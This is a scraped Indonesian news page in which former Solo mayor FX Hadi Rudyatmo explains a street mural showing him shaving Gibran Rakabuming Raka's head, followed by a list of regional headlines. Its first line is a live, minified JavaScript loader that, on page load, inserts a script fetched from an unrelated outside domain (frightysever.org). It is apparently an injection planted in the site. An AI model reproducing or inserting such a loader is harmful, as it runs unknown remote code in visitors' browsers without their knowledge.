(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
WARGA +62

Muncul Mural Dirinya Cukur Rambut Gibran, Ini Tanggapan Mantan Wali Kota Solo


KANALKALIMANTAN.COM – Mantan Wali Kota Solo, FX Hdai Rudyatmo mengomentari munculnya mural bergambar dirinya yang sedang mencukur rambut Gibran Rakabuming Raka di sebuah tembok di Jalan Ir Juanda, Jebres.

Rudy menilai, potong rambut itu dimaknai membersihkan hal buruk. Seperti terpampang dia tanpa rambut yang akan mencukur putra sulung Presiden Joko Widodo tersebut.

“Ya kalau saya sampaikan, saya plontos di gambar itu membuang sial. Hal hal yang menempel di kepala yang tidak baik itu bisa hilang semua,” kata Rudy, Senin (6/9/2021).

Politisi PDIP itu mencoba menerjemahkan karya seniman mural, Irul Hidayat. Selain cukur rambut, posisinya mencukur Gibran dinilainya juga memiliki arti kepemimpinan.

 

 

Baca juga: Rusak dan Bakar Masjid Ahmadiyah di Sintang, 10 Terduga Pelaku Diciduk Polisi

Gibran duduk hendak dicukur ini bisa diartikan seperti pepatah berdiri sama tinggi dan duduk sama rendah.

” Pemimpin itu harus memposisikan dengan yang dipimpin,” jelasnya.

Gibran yang akan dicukur rambutnya ini diartikan seperti makna membersihkan hal buruk di dalam isi kepala. Dengan demikian kepalanya sebagai pemimpin untuk bisa diisi oleh keinginan rakyat.

Makna yang disampaikannya ini, setidaknya Rudy memahami konsep yang diinginkan Irul sebagai pembuat mural.

“Mas Gibran ini, supaya dibersihkan rambutnya, dan mengisi kepalanya dengan apa yang dimau oleh rakyat, kira kira seperti itu gambarannya,” papar Rudy.

Dalam kesempatan itu, Irul Hidayat sengaja membuat sosok Rudi yang akan mencukur gundul rambut Gibran.

Baca juga: Oknum Polisi dan Seorang Perempuan Terlibat Kasus Narkotika Ditangkap Polres HST

Rudi sebagai simbol mengayomi, membimbing semua lapisan masyarakat baik yang tua maupun muda. Makna berikutnya pemimpin itu juga harus berani digunduli. Termasuk dekat dengan rakyatnya serta berani berkorban.

“Makna Gibran digunduli ini adalah sosok pemimpin muda yang harus berani diejek, dikritisi, semacam plonco-lah,” tutupnya.(Suara.com/Budi Kusumo)

Editor: suara


Risa

Recent Posts

Perpustakaan Palnam Dikunjungi Wakil Rakyat dari HSU

KANALKALIMANTAN.COM, BANJARMASIN - Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) kedatangan rombongan anggota… Read More

33 menit ago

Tok! Saidi Mansyur-Said Idrus Pemenang Pilbup Banjar

Raih 226.746 Suara, Syaifullah Tamliha-Habib Ahmad Peroleh 43.696 Suara Read More

49 menit ago

DPD PPJI Kalsel Bahas Program Makan Gratis, Laik Sehat hingga Sertifikasi Halal

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Perkumpulan Penyedia Jasa Boga Indonesia (PPJI) menyambangi Ibu… Read More

1 jam ago

Kue Kering Talipuk Produk UMKM Dapoer Pulantani Dibantu CSR Adaro

KANALKALIMANTAN.COM, AMUNTAI - Usaha aneka kuliner kue kering dan cemilan hasil usah bersama ibu-ibu yang… Read More

1 jam ago

KMPG Desa Pulantani Terima  Bibit Pohon Mangga dan Jelutung Rawa

KANALKALIMANTAN.COM, AMUNTAI - Kelompok Masyarakat Peduli Gambut (KMPG) Desa Pulantani, Kecamatan Haur Gading, Kabupaten Hulu… Read More

2 jam ago

DPRD Banjarbaru Bentuk Pansus Bahas Tiga Raperda

KANALKALIMANTAN.COM, BANJARBARU – Fraksi-fraksi di Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru menyetujui atas usulan… Read More

18 jam ago

This website uses cookies.